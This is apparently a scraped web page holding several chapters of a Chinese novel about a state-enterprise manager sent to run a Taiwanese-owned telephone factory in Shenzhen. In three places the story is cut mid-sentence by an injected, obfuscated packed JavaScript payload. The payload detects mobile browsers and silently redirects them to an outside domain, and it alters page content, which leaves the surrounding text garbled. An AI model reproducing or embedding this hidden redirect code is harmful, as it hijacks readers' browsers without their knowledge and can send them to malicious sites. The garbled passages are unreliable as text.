在北京的两年多时间,家中的所有大事小情都是妻子沈珍钰一人操劳,她一边工作,一边还要抚养女儿,操持家务。她任劳任怨,充分体现了一个妻子和母亲的担当和贤惠。周亚平默想,现在,自己又被派到鹏城去工作,还不知这次离家时间究竟有多长,还要让妻子继续独自撑起这个家庭。周亚平虽然深感歉疚,但又别无它法,因为这是自己的使命和责任。 离开北京前,周亚平在街上转悠了好几天,终于为妻子和女儿分别选择了一件当时还算时髦的衣服,又买了一些时尚的糕点糖果,这才乘车回家。 知道周亚平新的工作变更后,沈珍钰虽然表达了对分居生活的不满,但她通情达理,知道这是组织的安排,只能愉快地接受。而且,她认为,与其让周亚平回到器材厂再过那种窝囊的日子,不如开始一个新的起点,寻找更好的归宿。 由于急着赴鹏城迎接新的任务,周亚平在家中只待了三天,就坐火车赶往广州。按照干部处的交待,他必须先到集团公司广州办事处报到,然后再去邓老板的工厂驻地。 主任复姓西门,名瑞安,原来也是一个直属厂的党委书记,年纪大了才调到办事处任职。见到周亚平后非常热情,除了给他详细介绍美籍华人邓先生及其企业的情况,还一直喋喋不休地向周亚平强调涉外工作的注意事项,再三嘱咐他到了深圳这个花花世界,一点要洁身自好,保持一个共产党员的本色。另外,西门告诉周亚平,虽然集□□他只身在深圳工作,但他并不是孤军奋战,他的党组织关系仍然放在广州办事处,他的工作会得到整个办事处的支持。 听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479018|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西门一本正经的说教,周亚平心里一直暗笑,但转念一想,不管怎样,这位老同志的苦心可嘉。 “西门主任,局长说邓老板去北京之事是你们办事处牵的线,我想问问,邓老板自己的外商独资企业办得好好的,为什么一定要找我们谈合资呢?”周亚平提出了疑惑很久的一个问题。 “这你就不知道了吧,”西门诡异地一笑,“这个邓老板就是一个人精,他知道我们集团总部管辖全国的通讯产品企业,既然在大陆开办企业,如果与我们总部合作乃至合资,肯定能够得到很多政策和优惠条件。因此,直接就上北京去找岳部长了。” 在办事处住了一晚,第二天西门就帮周亚平购买了去深圳宝安的汽车票,亲自驾车把他送到汽车站,对周亚平说:“邓老板的企业就在深圳宝安,你坐这趟汽车到广安加油站下车,邓老板会派人来接你。” “好的,谢谢西门主任!”周亚平临别道谢。 坐了几个小时的汽车,终于来到了鹏城广安加油站。一下车,周亚平四处张望,见到有两个推着自行车的青年男子走了过来。其中一个看来右腿有些不方便的男子问:“你是周先生吧?” “是的,你们是?”周亚平回答。 两人中另外一人脸上堆满笑容:“我们是邓老板派来接你的。” 经过聊天,周亚平知道了他们的身份,那个腿脚有点不利索的叫谢鞠科,是“登字”工厂塑胶部模具组组长,另外一位叫何立伟,是工厂塑胶部注塑组的领班。 “对不起,今天司机阿霜去外地了,我们只能用自行车来接你了。”谢鞠科用抱歉的口吻说。 “没关系,听说这里离厂不太远,走路去都可以。”周亚平豁达地表示。 来到邓老板的外商独资企业“深圳登高电子有限公司”后,周亚平发现,可能是由于初创,工厂并没有周亚平想象的那么大规模,只在一栋工业厂房中占据三层楼,两层用作生产车间,一层用作办公及库房等。 周亚平在会客室等了半个多小时,邓老板才姗姗来到。 人还未进,一阵爽朗的笑声先传进来:“哈哈!有失远迎,有失远迎!” 周亚平站起来,与走进来的邓老板握手致意,并自我介绍:“我叫周亚平,是我们集团公司按照邓先生向岳部长提出的要求,专门派来合作的。” 邓老板仔细打量周亚平,眉开眼笑地说:“知道,知道!早就听说你长期在国营企业担任厂长职务,来这里之前,还在企业管理干部学院进修过两年。我们合作就需要这样的人才,有理论知识,还有实际经验。老周,欢迎你来到登字集团的‘登高电子厂’!” “‘登字集团’?”周亚平有些不解。 “对呀,本人准备在大陆开办的企业肯定不止‘登高’这一家,但都会以‘登’字打头,这些企业将组成‘登字集团’。”邓老板解释,“他们建议我叫‘邓氏集团’,我不同意,我可不愿意把企业办成家族企业。” “喔,邓董事长雄心壮志,看来要在深圳大干一场。”周亚平顺势恭维他。 “彼此彼此,哪能与贵集团公司相比,贵集团所属企业遍布全国各地,家大业大,在下偏居一隅,惭愧,惭愧!”邓老板话风一转,“周先生,尽管你在贵集团所属企业工作多年,但那毕竟都是国营企业,与外资企业有很大区别。我想先让你在我的独资企业担任高管,就用你们的叫法,叫厂长。让你在工作中逐步了解外资企业运作模式和管理模式,然后我们再按部就班地来组建合资企业。那时候,你已经非常熟悉如何管理外资企业了,一定可以做得更好。你看这样行不行?” 周亚平表示赞同,说:“我没意见,听从邓董安排。既然来了,就想扎扎实实干一番事业,今后还请邓先生多多指教。” “好说,好说!”邓老板回复。 从此,周亚平彻底转变了身份,由一个国营企业的领导变成了外资企业的高管,尽管还是“厂长”的名称,但实质已经完全不同。 20. 二十 “登高电子有限公司”是一家专门装配生产电话机的企业,产品全部销往国外。 周亚平看惯了内地国营企业那种大工厂、大厂房、大车间的格局,看惯了整个工厂就是一个小社会,有食堂、商场、医院、招待所及各种文体设施,哪里见过“登高”这种只有三层楼房,只有几个车间和几间办公室的裸企业?所以,刚接触时觉得规模太小,不足为奇,但真正深入其中后,却深感震撼。 别看规模不大,“登高”的生产效率却相当高,产量和产值完全不亚于内地占地面积几十亩,厂房、车间一大片的企业。周亚平观察到,两层楼的生产场地共设6条流水线,每条流水线一个班可装配电话机座机近千台,可装配电话机面包机——即按键和听筒集中在一个手柄上的电话机一千多台。每天两班倒,一天就可生产1万多台电话机。 邓老板把他办企业的成功归功于他的“排线原则”。他曾向周亚平介绍,自己在台湾的电话机企业,创造过一个月生产电话机120万台的最高记录。之所以企业高效运营,就是全公司认真贯彻了他创导的“排线原则”。 邓老板有向员工训话的习惯,每次向管理人员训话时,都要反复强调他的“排线原则”。虽然邓老板多次讲“排线原则”,但究竟什么是“排线原则”,具体有哪些内容,哪些细节,他并没有详细介绍过,因此,跟随他多年的下属,始终懵懵懂懂,对“排线原则”说不出个所以然。 倒是周亚平,毕竟在企业待了多年,凭自己的经验以及对“登高”厂的细心观察和用心琢磨,逐渐摸出了一点门道。 周亚平体会到,所谓的 “排线原则”,是邓老板在流水线生产管理中积累的一些有效方法。周亚平把它归结为以下几种:工位优化拆解法,动作归并快捷法,工装合理放置法,工人末位淘汰法。 “工位优化拆解法”,即把组装电话机所有步骤拆分成流水线的每一个工位操作,太粗的拆分和太细的拆分也即太少的工位与太多的工位都不合适。排除操作者本身快慢差异因素,必须保证每一个工位操作的时间基本一致,只有最适当的工位排布,才有可能获得最高效率。 “动作归并快捷法”,研究工位上工人的每个操作动作,摈弃多余动作,保留合理动作,是“排线原则”的核心。在这个阶段,有专人用秒表计算工人每一个动作的时间,然后确定科学的动作路线和频次。 “工装合理放置法”,装配工具、量具及其它工艺装置的摆设是否恰当,是否让使用者最方便、最顺手,对生产线的生产效率至关重要,是一点都不能马虎的。 最后一点,也是最重要的一点,就是“工人末位淘汰法”。其实,这一点才是“排线原则”的关键。这个方法,就是每月、每周甚至每天严格考核各个工位工人的工作效率,对于那些在流水线上始终跟不上节奏,待装配产品积压超过限额的工人,排定名次后,把最后一名予以淘汰——除名处理。当时,进工厂的名额还是比较紧俏的,真要被工厂除名,也是够难受的。 这使周亚平不得不佩服邓老板的这一套管理方法,太绝了。虽然按照国营企业的观念,像“工人末位淘汰法”这种方法,是不人道的,绝对不可取,但其余三种,确实是非常科学、合理的,对于提高生产效率是行之有效的好办法。 “登高电子有限公司”的管理,名义上是由内地人自己管理自己,领导层里设置一个副总经理,一个厂长,三个协理。副总经理叫邱宇灿,也是与邓老板合作的国家某部派来的干部;厂长是周亚平;还有三个协理,分别是主管技术的赖炅明,主管生产的田淼淼,主管采购后勤的申千年。认真分析,这些职务的设置不伦不类,副总经理和厂长及协理之间的关系也不明不白。当然,大家心里都清楚,这些官衔都是虚的,真正掌管企业大权的,就是邓老板和他的小舅子。邓老板貌似啥都不管,其实啥都要管,他的小舅子则把公司财务紧紧抓在手上,每一笔支出都要反复审查。 由于周亚平比其他四位高管来得都晚,因此,在“登高”厂一时没有分管的具体工作,虽然邓老板声称要周亚平协助他抓全面工作,但周亚平知道这只是一句套话,工厂每项工作都有专人负责,而每个部门的负责人又只对邓老板负责,让你协助抓全面,只是说说而已。 没有具体工作,总要做点事呀。周亚平是闲不住的人,他观察到,工厂每天繁忙地运转,完全依靠的是人治,由领导者凭自己的经验进行管理和奖罚。因而,在处理同一件事情时,不同的上级有不同的尺度,真是一人一法。这些,给管理工作带来混乱和许多麻烦。周亚平认识到,“登高”厂企业管理的基础工作十分薄弱,企业成立至今,没有正规建立过一项规章制度,连必要的各种原始记录、统计报表也都缺乏。 周亚平决定,他就从这里着手,重点抓企业管理的基础工作,争取做好做扎实。 这些工作要是放到现在,是非常简单的一件事,只要把需要的各种规章制度名称输入电脑,马上可以搜索到各种文本,你只需下载需要的部分就行了。 但当时那个年代,什么都没有,周亚平完全靠大脑的记忆和思索,花了二十多天时间,日夜不停地工作,把企业必须的各种规章制度编写出来,共计9大块30多项,囊括了工厂的生产管理,技术管理,财务管理,人事管理,考勤管理,安全管理等各个方面。为了便于员工了解和遵照执行,周亚平把这些规章制度深入浅出地浓缩成一本员工手册。另外,还设计了企业必要的各种原始记录和统计报表。 按照邓老板的要求,职员必须把每天的工作内容写成书面材料,向董事长(邓老板)报告,由于邓老板的总部在香港,故大陆工厂的职员报告,一般采用FAX(传真)的方式,发送到香港。 由此,每天晚上,周亚平增加了一项工作内容,即把每天编写的制度或原始记录、报表等的手抄件用传真方式发往香港公司。 一段时间以后,这件事竟然引起了在香港公司办公的邓太太的关注,有一天,邓太专门找邓老板聊起了这件事。 “老邓,那位什么通信集□□来的周亚平,我看还真是不错,每天勤奋地编写企业的各种制度,拟定各种报表、原始记录,还蛮有水平的。这个人对公司很忠诚 ,我看可以用。”邓太对邓老板说。 邓老板若有所思,说:“嗯!我知道,但人家是国营企业派来的人,跟我们是不是一条心,还要再看看。如果真是一条心,那确实是顶用的干部,你知道吗,他在国企当了多年的厂长——其实就是总经理,又在管理干部学院进修了两年,在企业管理方面是没有问题的。” 邓老板所谓的“再看看”,并不单纯是他本人的观察和分析。他把台湾办企业的那一套照搬到大陆,“登高”厂里,他安排了许多类似于“董事长助理”甚至“助理”的“助理”一类人,这些人的基本工作是监视企业的员工及各项运作,特别是高管的言行。每天,这些人用FAX把自己看到听到的各种他们认为有用的信息传送到香港。因此,包括周亚平在内的所有管理人员的一举一动,都在邓老板的掌控当中。 工厂中的副总经理、厂长和三位协理,共计5个高管,刚开始时,由于互不了解,相互之间都有些戒备和顾忌。但经过一段时间的磨合和考验,了解到彼此都是干事之人,没有屑小之心。因此,尽管那些“助理”受人指使,故意制造几个高管之间的嫌隙和矛盾,却反而使他们更加团结和彼此信任。 他们有时凑到一起时,往往共同抱怨的就是工厂这种不正常的“告密”制度。 “他妈的!真没法活了。说得不好听,哪怕我在厂里放个屁,香港那边马上就知道了。”主管后勤采购的申协理大发牢骚。 生产主管田协理也愤愤不平地说:“什么玩意?那些‘助理’,每天啥事不干,就会打小报告。昨天我闹肚子,上了8次厕所,这件事居然也被邓老板知道了,他小舅子还嘲笑我躲到厕所去偷懒。” “我这件事更离谱,”技术主管赖协理也有苦衷,“生产线电话机测试仪表不够用,如果买新的,价格贵得吓人。我为了给公司省钱,找了个老朋友,通过他介绍从一个倒闭的工厂里买了3台,都有八、九成新,总价钱还不到一台新仪表的钱。你说,这不是大好事吗!哎,也有人告状,说我通过朋友交易,‘形迹可疑’,请老板派人详细调查,有无交易内幕。你们看,荒唐不荒唐?” 副总经理邱宇灿是个稳重的老好人,他小心翼翼地说:“哎,可能邓老板也没办法,毕竟到大陆办厂,谁也不认识,总担心别人搞他的鬼。” “哼!不相信我们,怎么就相信那些小人?”田协理说。 被打小报告最多的申协理不满意邱宇灿的解释:“邱总,对大陆人有些不放心,这点我们也能理解,但为什么老是让那些人散布一些谣言,企图造成我们几个高管之间的不和,甚至让我们互斗呢?” 周亚平知道自己的使命,不是单纯来打工的,因此一般不会介入这些纷争,但此时还是忍不住发言了:“这件事,邓董可能并不了解详情。如果任由这种现象发展,形成人人自危,互不信任,这对于企业是极为不利的,我们应该找机会向邓董陈述,使他真正了解内情。” “对!”赖协理立即赞同,“周厂长说得对,我们应该一起找邓董认真谈一次,分析利弊,表露我们的真心。我相信邓老板应该会相信我们。” 几个人都表示赞同。邱副总口头上虽然并未表示反对,但他心里并不赞同这一方法,依他对邓老板的了解,这种企业高管集体找董事长谈话的做法,不管出于什么目的,都会激起老板的反感。邓董本来就担心高管之间关系过于密切,如果集体去找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479019|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老板申诉,正印证了他的怀疑。 邱之所以不说出来,是担心其他几位不理解,反而误认为他是那些助理的帮凶。 找到一个机会,周亚平与三位协理一同来到董事长办公室。 赖协理首先发言:“邓董,我们几个想向您汇报一下思想,需要耽误您一点时间,不知道行不行?” 邓老板看到几个高管一起来找他,诧异地问:“什么事?这么郑重其事?” 于是,三个协理七嘴八舌地诉说起自己被人打小报告的事,冤屈之情溢于言表。 “邓董,我们对企业都是忠心耿耿的,您应该完全相信我们,”田协理说。 “是呀,董事长,”申协理诚恳地表示,“我们是一心一意为企业好,为董事长好。可有些人,整天不干正事,就只会挑刺找茬,打小报告,搞得我们整天紧张兮兮的,还怎么集中精力去搞好工作?” 听了大家的叫屈,邓老板眉头紧皱,脸色越来越难看:“行了,行了!我知道了,就这么点小事,值得你们这样兴师动众?” 周亚平觉得自己应该说话了:“邓董,可能我们认识不正确,我们认为这不是小事。您知道,我们这些同事每天在前面拼命干活,后面却总有人给他告黑状、穿小鞋,搞得人心惶惶,人人自危,哪里还能全副精力投入工作?个人心情不好是小事,由此影响了公司的工作和业绩,那才是大事。” 邓老板用疑惑的眼光注视着周亚平:“怎么,老周,你跟他们看法一样?” 周亚平没有吱声。 邓老板继续说:“老周,你们大陆的国营企业里难道没有监督机制,难道只要有监督机制就会人人自危?企业出了问题谁都不知道,那还叫什么企业?” 周亚平看邓老板正在气头上,本不想进一步激怒他,但听他这一说,知道如果不讲清楚道理,会造成更大的误会,故顺着他的话头说:“邓董,您说得非常对,企业必须有监督机制,我们国营企业同样如此。没有监督机制,错误的言论和行为得不到纠正,企业就没有正确的方向和动力,也不可能得到发展。” 听周亚平这么说,邓老板脸色有点缓和:“是吧,我这人做事不会胡来的。” 周亚平话锋一转:“邓董,据我在企业多年的实践和体会,我觉得监督体制主要体现在企业管理结构和规章制度上。比如我原来所在的企业,就设有公开的监督机构和人员,如监督出勤,上下班、迟到早退,有专门的考勤员;寻找和发现企业安全隐患,有专门的安全员;诸如此类。另外,监督体制渗透在企业各项规章制度里,用制度来约束人的行为,这是企业的‘法治’,比起单纯的‘人治’,要更为科学更为合理。如果不依靠这些公开透明的、全面的、全员的监督机制,而只是由少数人依靠自己的感觉和标准来衡量某个人某件事,靠打小报告来进行监督,势必挂一漏万,很不全面,而且很有可能提供错误信息。邓董,我们都知道,您是有超常的逻辑思维能力和判断能力,但少数人提供的错误信息,还是有可能影响您的正确判断。” “不会的,不会的!你们都知道,我不是糊涂人,绝对不会一看那些FAX就完全相信。”邓老板为自己辩护,“你们跟了我这么久了,难道还不了解?我对你们哪一点差了?哪一点不信任了?” 众人忙不迭地回答:“没有!没有!” “是嘛,他打他的小报告,你干你的大事业。我心里有杆秤,谁好谁坏,自然有数,你们瞎担心什么?”邓老板进一步开导大家,“你们的辛苦我都记在心上,我已准备好了,只要你们好好干,今年年底,给你们每人一个大红包!” 一场风波在红包许愿的背景下烟消云散。但经此一遭,那些打小报告告黑状的勾当确实收敛了很多。 此事过后不久,邓老板找周亚平单独谈了一次。 “老周,你编写的所有规章制度我都看了,不错!连平日不怎么关心企业管理的邓太都觉得很好。我准备让他们做最后的审核校对后正式颁发执行。这件事值得表扬。” “没什么,这是我应该做的。说实话,在邓董这里拿这么高的待遇,不认真做点事,真不好意思。”周亚平说的是心里话。 “老周,你来我这里时间也不短了,对外资企业的运作模式应该是比较熟悉了。我今天找你来,是想交给你一项新的、非常重要的任务。”邓老板望着周亚平继续说,“随着企业的发展,订单越来越多,光靠‘登高’一个厂已经无法完成订单。我又注册了一家新的企业,名字就叫‘登攀电子有限公司’。我说过,准备成立一系列的‘登’字企业,组成‘登字集团’。我准备让你担任这家公司的总管,马上去筹备建立这家企业,你看这么样?” 虽然感到有点突然,但周亚平还是很平静地回答:“本人无意见,工作上听从邓董的安排。” 21. 二十一 周亚平全力投入到开办一家新企业的繁忙工作之中。 从选择厂址、订立租赁合同、装修厂房到建立生产线、招聘员工、组织生产,一切事务,周亚平都亲力亲为。 不得不说,特区的效率确实很高,一家新企业从一无所有到正式生产,只花了3个多月时间。 由于主要的生产骨干和技术人员都是从“登高”厂调来的老手,因此,“登攀”厂的生产从一开始就非常顺利。正式生产那天,邓老板亲自来到生产现场,在周亚平的带领下视察各个环节,表示较为满意。 “登攀”厂成立初期,周亚平这个“厂长”,才体现了他的价值,企业的正常管理,基本上是他说了算,特别在用人方面,享受到了自由。 “登攀”厂当时的财会人员都是新手,财务管理较为薄弱。为解决这一问题,周亚平联系到内地老厂,经过协商,聘请一名刚退休的老会计来厂担任主办会计,使企业的财务管理得到加强。 特区企业,人才招聘十分重要,另外,外资企业的特点是人员进出频繁,因此,人事管理的任务十分繁重。但工厂缺乏一名合适的人力资源方面的主管,周亚平一直为此纠结。 这天,周亚平从技术部办公室经过,听到里面传来一阵激烈的争论声。他放慢脚步,缓缓走进办公室。 “你们吵什么?都是搞技术的人,不能安静点?”周亚平说。 见到厂长进来,办公室马上变得鸦雀无声。 技术部临时负责人覃工站起来:“周厂长,没有吵架,是为招聘中的一点小事产生分歧意见。” “什么事有分歧意见?” 覃工直说了:“周厂长,您不是交代我们,说您的一个老同事介绍了一个叫安锦源的大学生吗,经我们核实证件,他确实是名牌大学的高才生,在内地企业当过车间主任,来深圳之前是企业的办公室主任。这个人算是个人才,但学的专业与我们电子行业完全不搭界。因此,我们大多数人认为无法录用。但张工觉得放走了很可惜,一定要留下来。为此,大家争论了几句。” “哦!这个人你们用不着,可以介绍到其他部门呀,比如生产部,他不是在内地企业当过车间主任吗,这种有生产管理经验的大学生,很好呀。” “我们问过生产部,”覃工说,“他们回复不缺人。” 周亚平听到这里,突然想起正在考虑的人事部主管一事。虽然这个人专业不适配,但好歹是个名牌大学生,特别是在企业担任过车间主任和办公室主任,应该有管理员工的实践经验,让他担任人事部主管,还是比较合适的。 由此,周亚平吩咐:“覃工,你把这个人的应聘资料送到我办公室去,我可能另有安排。” “登攀”厂的人事部经理就这样选定了。 摊子铺开后,事情越来越多,周亚平考虑是时候向总部要求加派人手了。他在一次向彭总汇报工作时提出:“最近工作特别忙,请领导给我安排一名助手。条件是年轻、身体好,大学本科毕业,希望英语要好,担任过中层干部。最好在集团现有电话机企业里物色。” 没过几天,周亚平接到一个电话:“周厂长,你好啊!我是北方电话设备厂的老柳呀,还记得吧?要不是彭总告诉我,我还不知你到深圳去了。” “哦,是柳厂长,老朋友了,哪能不记得?” 这个北方电话设备厂的柳厂长,叫柳津生,与周亚平一起参加过全国第一批厂长经理考试,当时部直属厂共有7人参加,集中培训了几个星期,大家关系都相当不错。 那边,柳厂长还在哈哈大笑:“好家伙,你提的条件够可以的,又要年轻,又要学历,必须是中层干部,还要英语好。我是打着灯笼帮你找,才勉强给你找到这么个人。这个小伙子叫林铮,交大毕业生,作为交换生在美国学习过一年,英语很棒,现在担任车间副主任职务。一切都符合你的要求。” “谢谢柳厂长,太麻烦了。这些条件,都是在特区这里工作必须的,我也是没办法。比如说英语吧,在外资企业,大部分文件资料都是英文的,你知道,我们虽然也学习过英文,但一离开学校,就都交还给老师了。没有一个英语好的助手,真还不行。” 两人寒暄了好一会才挂线。 此后不久,林铮来到了宝安,成了周亚平的助理。小伙子帅气高大,一表人才,从形象上就打了高分。再加上他察言观色,善解人意,在企业里如鱼得水,很受欢迎。 随着时间的推移,邓老板把“登高”厂的主要管理人员逐步地调到“登攀”厂来,他自己的工作重心也转移到了“登攀”厂。 刚开始,周亚平还有点莫名其妙,后来耳闻目睹,了解到一些内幕,才知道这是邓老板投资战略的一步狠棋。 其实,“登高电子有限公司”是邓老板与香港“黄氏集团”合资开办的企业,占股比例都是50%。但从投资金额来看,“黄氏集团”投入资金占70%,邓老板投入资金占30%。之所以股份比例一样,是由于邓老板强调技术和管理必须占有一定比例的股份。 邓老板第一次到大陆兴办企业,刚开始心里没有底,因此拉上“黄氏集团”一起来投资,但事前已说明,管理方面完全由邓老板一人负责。经过在大陆办厂的小试牛刀,邓老板感到得心应手,没有任何问题,反倒是觉得“黄氏集团”对企业经营管理没有任何贡献,却要分走一半的利润,实在有点不划算。所以,邓老板想出了独资建立“登攀电子有限公司”的这一招,打算把订单和生产逐步转移到自己独资的企业“登攀”来,最终架空“登高”。 由于“登攀”厂的人员结构和管理模式又逐渐恢复到与原来“登高”厂一样了,周亚平感觉到工作越来越吃力。经常出现指挥不动,令不行禁不止现象,事事难办,处处掣肘。但他又毫无办法,在企业里经常坐着“董事长”这尊大神的情况下,所谓厂长,在众人眼中,也不过是老板的跟班。在这种家族企业,一切以老板为中心。 邓老板坐镇“登攀”后,看中了周亚平的助手林铮。主要原因是,首先,小林是国内交通大学毕业的,而邓老板是台湾新竹交大毕业,邓老板觉得两人有缘;其次,小林英语较好,邓老板偏爱英语不错的员工。 一天,企业晨会后,邓老板把周亚平留下来,对他说:“老周,必须让你割爱了。你那个助理林铮,是大陆交通大学毕业的,你知道,我是台湾新竹交大毕业的,说起来也是隔岸的校友。另外,他的英语还不错。安娜走后,我一直没有一个得力的助理,这次只有请你帮这个忙,让林铮来当我的助理。” 周亚平没想到邓老板居然有这个主意,仔细衡量,觉得我们的人给邓老板当助理,既可随时了解一些新的动态,又能促进今后两家的合资,未免不是一件好事。再说,老板开口了,也无法拒绝。因此没有犹豫,立即答应了邓老板的要求。 事后,周亚平找林铮认真谈了一次,把这件事给他交了底,并希望他今后在邓老板身边工作时,想方设法促使他尽快启动与我们集团公司的合资项目。 已经有了两家企业的邓老板,此时信心爆棚,这天,他把中层以上管理人员全部召集到会议室,宣讲他的“邓字集团”远景规划。 墙壁上挂着一张专门请人绘制的彩图,是一个工业小区的全景图。只见十几栋巍然屹立的工业大厦,场面十分壮观。每栋楼的墙体上,都用大字标明其功能和作用,最前面的几栋,是“装配大楼”,后面则分别是“PCB(电路板)大楼”,“摸具及注塑大楼”,“零器件大楼”,“五金件大楼”,“包装材料大楼”等等。很明显,这个工业园区就是“登字集团”今后的驻地,除了装配大楼,其余的大楼都是为电话机生产提供塑料机壳、电路板及各种部件、零配件的供应链。 最奇异的是,每栋楼的屋顶,都有轨道相连,四通八达。 对此,邓老板颇为自豪地介绍,这一点是他提出的创意,主要是考虑到不影响工业区地面的人员流动,为此,把物流从地面转移到屋顶,让轨道交通代替手工推车。 有人提出一个问题:“邓董,这么大的规模,建立这么多部件、零器件工厂,需要投入很多钱呀?而且新建这么多工厂,等它们进入正常生产,也需要很长时间。等得及吗?” 邓老板一听笑了:“这位小兄弟看来没怎么看武侠小说。武林中最厉害的功夫是借力打力。我们搞这个‘登字集团工业园’也必须借力打力。我计划在工业园建成后,每个月生产电话机200万台。你想想,这是一个什么概念,这意味着每一种零配件的供应量每个月至少也应在200万件以上,现在的供应商,上哪里去找这么大的客户?只要把这个消息散布出去,不知会有多少供应商打破脑袋想挤进来。我只有一个条件,凡想成为我们的供应商,必须进入我们的工业园开办分厂,而且我邓某人要象征性的占1%的股份。另外,进驻的工厂名称的第一个字必须是‘登’字。你看吧,很可能今后有一大帮类似‘登远’、‘登上’、‘登陆’等等的‘登字’企业诞生。这些企业的开办费用都由他们自己出,而且他们熟门熟路,进来就可以生产,你说,我们需要多少钱?需要多少时间?” 众人都被邓老板丰富而奇妙的想象力及演讲才能所慑服。 但周亚平听了这番话后心里不是滋味。 周亚平心想,天啦,集团公司派我到这里来,就是为了合资建厂,生产我国通信行业需要的电话机。现在,邓老板完全沉浸在自己的“工业园”里了,哪里还有什么心思去开办中外合资企业,既然如此,我到这里工作还有什么意义? 周亚平决定找个机会与邓老板推心置腹地谈一次。 也巧,邓老板最近在蛇口海岸买了一栋别墅,一是为了庆贺,二是由于近期生产任务完成不错,邓老板要犒劳部下,特此在别墅设宴招待两个企业的高管,周亚平自然也在应邀之列。 酒足饭饱之后,大家都去海边散步,周亚平没有和大家集体行动,而是找个借口留下来。 “老周,你怎么不和他们去海边?这一块的海域风景相当不错,要不,为什么这一带的房子很快就卖光了。对了,你们大陆不是有个当红女明星,演过什么‘小花’的,她也在这里买了栋别墅,你看,隔壁那栋楼就是她买的。”邓老板滔滔不绝地介绍。 周亚平根本没有心思谈论明星和别墅,他单刀直入地说:“邓董,您看我到这里时间也不短了,集团公司派我来,就是为了与您建立合资企业。但这件事到现在还没有一点进展,我真不知怎么向上级交代。邓董,您能不能给我一个明确的答复,合资企业到底是建还是不建?如果要建,大概什么时候可以开始?” 邓老板看到周亚平表情凝重,也收起了笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479020|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容:“哦,难怪你今天心事重重,原来是这件事。” “老周,你我现在都已经互相很了解了,我可以对你说真心话。我曾经是非常热衷于与贵部合资开办电话机生产企业。开始我是这样想的,我们接的订单都是欧美国家的,就这样,订单还多得生产不过来。如果在大陆接订单,十几亿人口需要多少电话机呀。但真正到了这里我才知道,由于经济发展水平所致,现在大陆电话机需求量非常有限。另外,我去北京找你们部长谈合资时,还没有发生那件事,后来出了这么一档子事,说实话,谁还再敢与你们合资办厂?” “明白了。谢谢邓董真情相告,我也好如实向领导汇报了。” “老周,尽管合资的事暂时搞不成,但你不要走,希望你继续帮帮我。你也知道,‘登字集团’任重道远,很需要你这样干实事的干部。再说,你在我这里干也不吃亏,你不是跟我说过,在这里拿的工资是过去在国营企业工资的十几倍?” 周亚平真诚地说:“是的,从我个人来说,在这里干待遇比国营企业强太多。但我毕竟还是集团公司的一名成员,领导信任我,委以重任,派我来促进合资企业的建立,如果我贪图个人高薪,离总部而去,重利忘义,这样人品的人,我想,邓董也是不喜欢的。” 邓老板没有再说什么。 此后,周亚平又找到林铮,告诉他这件事的始末。 听说周亚平要离开外资厂,林铮急忙问:“周厂长,你走了后,我怎么办?我也必须走?” “小林,不着急,我还未向组织汇报,等汇报完了再看总部的安排。我是先给你通个气,让你心中有数。” 第二天,周亚平和直接分管他的副局长彭旭辉通了电话,把自己与邓老板的谈话详尽告知,并提出了自己的看法:“彭总,我觉得与邓老板的合资一事不太可能实现了,我想我再在这里呆下去,真成了为他打工了。请组织上考虑让我离开,去干点别的事。” 电话那头,彭旭辉沉默了一会,回复:“你先别急,我们商量商量,再做决定。” 给总部汇报后,周亚平又给集团驻广州办事处的西门主任打了个电话,同样把这件事告诉他。 前一段时间,由于周亚平在外资企业所拿工资一事,西门对周亚平有点小成见。 事情是这样的,周亚平去“登高”厂拿了第一个月工资后,马上往广州办事处打电话:“西门主任,你猜我一个月在这里拿多少钱工资?”不等西门回答,就接着说:“想都想不到,800元人民币,再加上500元港币。” 要知道,周亚平在内地企业,月工资没有超过100元人民币,现在突然拿这么多钱,周亚平都不知该怎么办。 西门严肃地告诉周亚平,他可以这样处理,在拿到的这些钱里,留下原来在国企时的工资数额,比如说100元,其余多的部分,可以当作党费上缴。 周亚平想了一下,虽然感到这种做法也不尽合理,但如果自己全部留下,对其他同志确实不公平。毕竟是组织上安排你去工作的,其他同志只是没有这个机会而已。想来想去,觉得可能也只能这样处理了。 哎!那个年代的人,说是“人之初,性本善”也好,说是被洗脑洗得干干净净也好,就是这么纯真和无私。 第二天,在与总部彭旭辉通电话时,他也顺便谈到了这件事。谁知彭总听到后情绪十分激动:“你们这是荒唐!哪有这样的道理?你在外资企业工作,我们知道,也是非常辛苦的。这都是劳动所得的报酬,为什么不能拿?改革开放这么多年了,西门这个脑袋瓜子一点都没有开窍。” 周亚平急忙解释:“不关西门主任的事,是我提出不知怎么处理。” 